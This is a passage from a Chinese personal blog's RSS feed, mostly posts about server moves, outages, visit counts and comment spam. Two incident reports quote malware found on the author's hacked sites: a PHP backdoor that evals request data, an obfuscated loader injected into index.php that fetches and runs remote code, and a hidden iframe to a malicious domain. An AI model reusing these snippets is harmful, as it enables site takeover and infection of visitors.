Array(<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;pv&#039; =&gt; @phpversion(),<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;sv&#039; =&gt; &#039;2.0-1&#039;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;ak&#039; =&gt; $data&#91;&#039;ak&#039;&#93;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo @serialize($i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elseif ($data&#91;&#039;a&#039;&#93; == &#039;e&#039;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eval($data&#91;&#039;d&#039;&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elseif ($data&#91;&#039;a&#039;&#93; == &#039;plugin&#039;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($data&#91;&#039;sa&#039;&#93; == &#039;add&#039;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cs_plugin_add($data&#91;&#039;p&#039;&#93;, $data&#91;&#039;d&#039;&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elseif($data&#91;&#039;sa&#039;&#93; == &#039;rem&#039;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cs_plugin_rem($data&#91;&#039;p&#039;&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo $data&#91;&#039;ak&#039;&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;cs_plugin_load();<br/>&#125;<br/></div><br/><br/>另外，网站的主index.php在文件头被增加如下代码：<br/><br/><div class="code">@ini_set(&#039;display_errors&#039;, &#039;0&#039;);<br/>error_reporting(0);<br/>if (!$npDcheckClassBgp) &#123;<br/>$ea = &#039;_shaesx_&#039;; $ay = &#039;get_data_ya&#039;; $ae = &#039;decode&#039;; $ea = str_replace(&#039;_sha&#039;, &#039;bas&#039;, $ea); $ao = &#039;wp_cd&#039;; $ee = $ea.$ae; $oa = str_replace(&#039;sx&#039;, &#039;64&#039;, $ee); $algo = &#039;md5&#039;; $pass = &quot;Zgc5c4MXrKkzcAAPsZRGZv2dPRfXN70cmCWIX7HVoQ==&quot;;<br/>if (ini_get(&#039;allow_url_fopen&#039;)) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;function get_data_ya($url) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data = file_get_contents($url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $data;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&#125;<br/>else &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;function get_data_ya($url) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ch = curl_init();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_HEADER, 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, $url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data = curl_exec($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_close($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $data;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&#125;<br/>function wp_cd($fd, $fa=&quot;&quot;)<br/>&#123;<br/>&nbsp;&nbsp; $fe = &quot;wp_frmfunct&quot;;<br/>&nbsp;&nbsp; $len = strlen($fd);<br/>&nbsp;&nbsp; $ff = &#039;&#039;;<br/>&nbsp;&nbsp; $n = $len&gt;100 ? 8 : 2;<br/>&nbsp;&nbsp; while( strlen($ff)&lt;$len )<br/>&nbsp;&nbsp; &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ff .= substr(pack(&#039;H*&#039;, sha1($fa.$ff.$fe)), 0, $n);<br/>&nbsp;&nbsp; &#125;<br/>&nbsp;&nbsp; return $fd^$ff;<br/>&#125;<br/>$reqw = $ay($ao($oa(&quot;$pass&quot;), &#039;wp_function&#039;));<br/>preg_match(&#039;#gogo(.*)enen#is&#039;, $reqw, $mtchs);<br/>$dirs = glob(&quot;*&quot;, GLOB_ONLYDIR);<br/>foreach ($dirs as $dira) &#123;<br/>&nbsp;&nbsp;if (fopen(&quot;$dira/.$algo&quot;, &#039;w&#039;)) &#123; $ura = 1; $eb = &quot;$dira/&quot;; $hdl = fopen(&quot;$dira/.$algo&quot;, &#039;w&#039;); break; &#125;<br/>&nbsp;&nbsp;$subdirs = glob(&quot;$dira/*&quot;, GLOB_ONLYDIR);<br/>&nbsp;&nbsp;foreach ($subdirs as $subdira) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if (fopen(&quot;$subdira/.$algo&quot;, &#039;w&#039;)) &#123; $ura = 1; $eb = &quot;$subdira/&quot;; $hdl = fopen(&quot;$subdira/.$algo&quot;, &#039;w&#039;); break; &#125;<br/>&nbsp;&nbsp;&#125;<br/>&#125;<br/>if (!$ura &amp;&amp; fopen(&quot;.$algo&quot;, &#039;w&#039;)) &#123; $ura = 1; $eb = &#039;&#039;; $hdl = fopen(&quot;.$algo&quot;, &#039;w&#039;); &#125;<br/>fwrite($hdl, &quot;&lt;?php&#92;n$mtchs&#91;1&#93;&#92;n?&gt;&quot;);<br/>fclose($hdl);<br/>include(&quot;&#123;$eb&#125;.$algo&quot;);<br/>unlink(&quot;&#123;$eb&#125;.$algo&quot;);<br/>$npDcheckClassBgp = &#039;aue&#039;;<br/>&#125;<br/></div><br/><br/>还在每一个目录下面生成 .well-known文件夹，下面有空白的acme-challenge子目录，用于Let’s Encrypt设置免费SSL服务证书验证使用，可见Hacker会通过https连接到后台服务器。<br/><br/>时间上看，原文件时间各异，但新文件时间都在2017年1月3日11:59。<br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2594%25BB%25E5%2587%25BB" rel="tag">攻击</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E9%25BB%2591%25E5%25AE%25A2" rel="tag">黑客</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%25BC%258F%25E6%25B4%259E" rel="tag">漏洞</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1525</link>
<title><![CDATA[服务器再次搬迁]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sun, 29 Jan 2017 15:32:45 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1525</guid> 
<description>
<![CDATA[ 
	告别了使用五年的JustHost，投身InterServer。<br/><br/>花了一些时间搬迁数个G的服务器内容和数据库，以及上面关联的一系列域名。<br/><br/>一个简单诡异的问题，一直困扰——“403 Permission Denied”，怎么设置Permission都不行，最后是在File Manager中人工新建一个目录，再将原目录中所有文件Move过来，就成功了。被提示误导了，一直以为是程序执行过程中获取权限出错，原来是整个指令都无法执行。<br/><br/>于是，新站点终于在1约29日的晚上激活运行了。<br/><br/>希望国内访问能够正常，若有问题请告知，谢谢！<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E7%25BD%2591%25E7%25AB%2599" rel="tag">网站</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E9%2587%258D%25E5%2590%25AF" rel="tag">重启</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1471</link>
<title><![CDATA[每一次搬站，都是一个大工程]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sun, 30 Dec 2012 17:06:07 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1471</guid> 
<description>
<![CDATA[ 
	续费价格是首年价格的三倍，JustHost这生意怎么做？<br/><br/>不得已，新开一个帐号重新购买，用不到一年续费的钱，买了四年的无限空间、无限流量。<br/><br/>老美的客服又都休假去了，一直没有人工验证开放SSH，只好用最土的FTP。<br/><br/>只是，五万多个、4G文件，FTP下来，再FTP上去，耗费了两天时间。<br/><br/>然后是各种域名的DNS以及解析设置，域名绑定设置，数据库搬迁，用户权限的重新设置，所有涉及系统中config的重新修正。。。。<br/><br/>大工程啊！更不说两个重要问题：中文文件名会变乱码，无文件的空目录往往打包的时候被直接忽略。<br/><br/>折腾好几晚～～～～<br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2590%25AC%25E8%25BF%2581" rel="tag">搬迁</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1443</link>
<title><![CDATA[服务器迁移到美国]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 27 Apr 2012 08:21:27 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1443</guid> 
<description>
<![CDATA[ 
	服务器价格大幅度提高了~~~<br/><br/>域名解析需要身份证验证了~~~<br/><br/>域名必须有人认头接入才让你备案了~~~<br/><br/>论坛、聊天室、留言板需要专项备案审批了~~~<br/><br/>博客需要关闭评论和留言功能才让开了~~~<br/><br/>林林总总，原来的空间到期了，终于一咬牙，将网站搬到了美国的服务器上。<br/><br/>同样也是付费，和国内小运营商相同的价格，人家提供的是无限空间、无限流量、无限数据库的服务！<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E4%25B8%25AD%25E5%25BF%2583" rel="tag">数据中心</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1402</link>
<title><![CDATA[博客访问量跨过两百万]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 07 Jun 2011 15:03:58 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1402</guid> 
<description>
<![CDATA[ 
	昨天，博客访问跨过了两百万。<br/><br/>随着时间的推移，渐渐地，对于这些计数已经不再关注。毕竟其中很多的访问量来自于各种孜孜不倦的网络机器人。<br/><br/>今天也是晚上用Pad上来才突然发现的，现在是2,001,510，算起来应该是昨天发生的事情。<br/><br/>既然发现了，就纪念一下吧。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E8%25AE%25BF%25E9%2597%25AE%25E9%2587%258F" rel="tag">访问量</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%258D%259A%25E5%25AE%25A2" rel="tag">博客</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1252</link>
<title><![CDATA[新年模板提供下载]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 08 Feb 2010 16:48:32 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1252</guid> 
<description>
<![CDATA[ 
	马上要过年了，2010是虎年，在前些年的一个模板基础上，改了这么一个虎年的BO-BLOG模板，喜庆一下。<br/><br/>现在这里的页面就是这个模板，源代码以及psd原图文件均打包提供下载了。<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=1826" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=1826" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>模板文件请点击下面的链接下载。<br/><br/><a href="attachment.php?fid=1827">点击这里下载文件</a><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%258D%259A%25E5%25AE%25A2" rel="tag">博客</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%25A8%25A1%25E6%259D%25BF" rel="tag">模板</a> , <a href="https://www.rchan.net/blog/tag.php?tag=bo-blog" rel="tag">bo-blog</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E4%25B8%258B%25E8%25BD%25BD" rel="tag">下载</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1251</link>
<title><![CDATA[新年新气象]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 05 Feb 2010 19:05:51 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1251</guid> 
<description>
<![CDATA[ 
	马上要过年了，黑黑的画面似乎不合时宜，于是用以前的模板改了一个虎年新春版。<br/><br/>白色基调，挂着喜庆的红色，明晃晃地上线了~~~<br/><br/>并且，画面是1200点的宽屏了，可以显示900点的大图片，如果你的电脑还不是宽屏，只好请左右pan一下了。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%25A8%25A1%25E6%259D%25BF" rel="tag">模板</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1131</link>
<title><![CDATA[服务器再次遇到问题]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 07 Aug 2009 11:13:36 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1131</guid> 
<description>
<![CDATA[ 
	前几天网站访问频频不顺畅，最后，<br/><br/>看看网易新闻的报道：《<a href="http://tech.163.com/09/0703/18/5DAM4KML000915BE.html" target="_blank">“原始人”潜逃案惊动政府，六十位站长维权</a>》、《<a href="http://tech.163.com/09/0706/11/5DHLI5MT000915BF.html" target="_blank">“原始人”卷款潜逃后续</a>》，不幸的是，我的双线服务器竟然也在其中。<br/><br/>所以，我的网站这几天频频访问不畅。<br/><br/>由于IDC服务商和电信运营商之间矛盾最终爆发，电信的1G带宽几天前就已经完全停止，联通（原网通）的2G带宽也被缩小成了1G。所有服务器都被封存，拿不出来了。大家都利用这个时间、这点带宽在往外备份服务器上的内容。<br/><br/>幸亏我还有备用空间，今天终于排除万难，将最新的数据转了出来。现在换到了一个较大的服务提供商处，访问应该好多了。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=idc" rel="tag">idc</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1128</link>
<title><![CDATA[服务器再次被攻击]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 04 Aug 2009 10:26:22 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1128</guid> 
<description>
<![CDATA[ 
	存放另外一个站点的服务器（w206）也被攻击了，时间是今天凌晨5:06。<br/><br/>服务器上所有目录下面的index.php、*.htm、*.html均在文件末被植入这样一句代码：<br/><div class="code"><br/>＜iframe src=&quot;http://reycross.net/lib/index.php&quot; width=0 height=0 style=&quot;hidden&quot; frameborder=0 marginheight=0 marginwidth=0 scrolling=no＞＜/iframe＞<br/></div><br/><br/>文件长度增加145字节。<br/><br/>检查reycross.net这个站点，IP地址是91.212.198.116，托管在LIR.KZ的机房，位于俄罗斯，而域名是在美国注册。<br/><br/>这个站点已经被报告为攻击网站，存在高度危险。<br/><br/>所以，访问internet网站，需要高度警惕，包括熟悉的网站也是一样。安装防杀病毒、防杀木马的软件是非常必要的。<br/><br/>只是，只是，面对是上千个目录的文件，我还需要逐个去清除。。。。。我晕。。。。<br/><br/>晚上，终于清理完成。发现隐藏在zb&#92;skin&#92;zero_vote&#92;下面有两个执行文件proposta.exe和proposta.ppt.scr，都是43k的大小，FTP上去都删不掉，估计是文件在Windows服务器运行中。于是我找了机房值班人员将它们彻底删除。<br/><br/>删完以后才后悔，没有留一份样本分析。。。。恨。。。。<br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2594%25BB%25E5%2587%25BB" rel="tag">攻击</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E9%25BB%2591%25E5%25AE%25A2" rel="tag">黑客</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1100</link>
<title><![CDATA[网通连接出了问题]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Thu, 02 Jul 2009 03:31:19 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1100</guid> 
<description>
<![CDATA[ 
	服务器是双连接的，昨晚开始，网通的连接出了问题，正在投诉解决中。。。<br/><br/>电信网络的访问正常，请网通网络的用户暂时用<a href="http://rchan.net/blog" target="_blank">http://rchan.net/blog</a>域名访问本博，速度可能受两网互联互通瓶颈的影响。<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1087</link>
<title><![CDATA[服务器又倒了半天]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 22 Jun 2009 08:48:19 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1087</guid> 
<description>
<![CDATA[ 
	早上一来就发现服务器不能访问了，FTP还行，HTTP就中断了服务。<br/><br/>后来查说是IIS有问题，机房那边折腾了大半天，刚刚才发现终于好了。<br/><br/>唉~~~<br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2595%2585%25E9%259A%259C" rel="tag">故障</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1045</link>
<title><![CDATA[服务器频频被封]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 11 May 2009 16:11:31 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1045</guid> 
<description>
<![CDATA[ 
	这两天由于同一服务器上一个论坛上频频出现垃圾广告信息，被网监处通知机房，把服务器直接拔网线断网。<br/><br/>一方面，非常反感那些发垃圾信息的人。说实话，那些垃圾广告，完全不会有广告效益。依然有人以发多少广告帖为计算，作为一项业务来做，就像发多少垃圾短信一样。完全不顾用户的感受和实际效果。这只能说是畸形产业链的产物，IT业界的悲哀。<br/><br/>另一方面，来几个关于FP的帖子，就封服务器，真是太如临大敌了吧。和服务器托管方面聊，这些个月一直在“严打”，马上又会开始严查备案，然后就是60周年国庆，肯定更是草木皆兵，紧接着就又是新年了，然后三月又是两会。。。这一波一波，没个消停。。。一声叹息，有关方面其实大可不必过敏至此。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%259E%2583%25E5%259C%25BE" rel="tag">垃圾</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E4%25B8%25A5%25E6%259F%25A5" rel="tag">严查</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2596%25AD%25E7%25BD%2591" rel="tag">断网</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1020</link>
<title><![CDATA[博客访问已经136万了]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 17 Apr 2009 14:51:07 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1020</guid> 
<description>
<![CDATA[ 
	不经不觉之间，晃眼一看，计数器已经是136万了。都不知道什么时候过的百万。<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=1132" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=1132" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>看看之前的<a href="http://www.donimage.com/blog/read.php?441" target="_blank">记录</a>，一年之前的3月7日是刚翻过30万。<br/><br/>也就是，在一年之间，正好收获了一百万次的阅读~~~<br/><br/>可是，大环境上讲，正值一片愁云惨雾，刚才在国外的同学看了我今天关于经济危机的博客说：“笑不出来啦，这里的寒流比中国更甚，很多多年的老员工，正值上有老下有小，做到公司高管，都被开啦。。。”<br/><br/>“我们这里的layoff比较残酷，上班后直接就派保安跟着你，拿个箱子给你收拾个人物品，二十分钟之内离开。电脑，电话都不许带走，所有东西格式化，是这样的。。。”<br/><br/>。。。。。。<br/><br/>希望各人保重吧~~~<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%258D%259A%25E5%25AE%25A2" rel="tag">博客</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E8%25AE%25BF%25E9%2597%25AE" rel="tag">访问</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E8%25AE%25A1%25E6%2595%25B0%25E5%2599%25A8" rel="tag">计数器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E7%25BB%258F%25E6%25B5%258E%25E5%258D%25B1%25E6%259C%25BA" rel="tag">经济危机</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?927</link>
<title><![CDATA[共享资料下载系统上线]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 01 Dec 2008 08:41:01 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?927</guid> 
<description>
<![CDATA[ 
	新增加了一个共享资料下载系统，逐步分类把Richard收集到的一些好东东放上来。<br/><br/>博客顶端有<a href="http://www.donimage.com/blog/index.php?act=down" target="_blank">“共享资料”</a>的链接，点击就可直接进入。<br/><br/>希望不要被百度之类的发现偷偷链接了去。。。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E7%25AB%2599%25E5%258A%25A1" rel="tag">站务</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259B%25B4%25E6%2596%25B0" rel="tag">更新</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%2585%25B1%25E4%25BA%25AB" rel="tag">共享</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E4%25B8%258B%25E8%25BD%25BD" rel="tag">下载</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?851</link>
<title><![CDATA[改宽屏了]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 22 Aug 2008 16:35:14 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?851</guid> 
<description>
<![CDATA[ 
	随着宽屏的普及，俺的办公电脑也换成了宽屏的了，分辨率是1440x900，为了能够支持更宽更大的图片，晚上把博客的模板也改到了1200点的宽度，支持900宽的图片了，看着会更爽啊！<br/><br/>不过，还是原来1024x768的标准屏幕的朋友，浏览时候要左右拖一下窗口喽。。。<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?830</link>
<title><![CDATA[服务器又搬机房了]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 22 Jul 2008 10:15:27 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?830</guid> 
<description>
<![CDATA[ 
	昨晚突然发现服务器不能访问了，经向服务方查询，才知道临时决定搬机房了。<br/><br/>后来登陆服务商网站才看到公告：<br/><br/><strong>杭州部分服务器更换机房转移公告</strong><br/><br/>受奥运会影响 全国各地网警严查违法信息 在7月18日晚17:00 我公司122.224.147.138服务器因为服务器内有枪支贩卖信息 机器被杭州市萧山区网监处扣押 而在 7月21日晚16:00 又接到公安局网监通知 我公司122.224.146.223内又有违法信息 准备扣押<br/><br/>经过紧急决定 将杭州部分虚拟主机服务器 转移到杭州流下区 双线机房<br/><br/>。。。。。。<br/><br/>IP地址也变更了，于是连夜先重设DNS的解析。<br/><br/>今早，终于看到服务器搬迁完成了，这边的线路效果如何，还需要观察。<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2590%25AC%25E8%25BF%2581" rel="tag">搬迁</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?827</link>
<title><![CDATA[令人反感的网站推广]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sat, 19 Jul 2008 02:40:30 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?827</guid> 
<description>
<![CDATA[ 
	一夜之间，博客被无数的回帖所占领，基本都是：“真不错,顶！顶顶！顶！”然后是一个“北京机票”的连接，域名是jipiaoonline.cn。<br/><br/>昨晚删了一大堆，今天早上起来一看，又是两百多个，真是垃圾！再看其他的网站，也被这个推广帖子强占。肯定是网站使用了自动发帖程序进行狂轰乱砸式的推广，也不想想是否会有正面效果。<br/><br/>看了一下这个网站，是“北京华夏航空服务有限公司”所属，号称“中国机票在线”，电话也是5126的铁通电话。<br/><br/>查了一下，这位名叫何红磊的人，以北京凯腾联华旅游信息咨询中心的名义，一连注册了18个机票打折的网站域名，一看就是东打一枪、西放一炮的做法，小代理，打着一些是一些。<br/><br/>只有垃圾的网站，才以这样垃圾的手段进行推广！太令人反感了。<br/><br/>于是，立即把这个网站的帖子设定为垃圾回帖，系统自动过滤。<br/><br/>BTW，晚上回来一看，又是四百多条，不过我已经设置系统自动屏蔽。<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?749</link>
<title><![CDATA[新相册上线]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 18 Apr 2008 19:27:39 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?749</guid> 
<description>
<![CDATA[ 
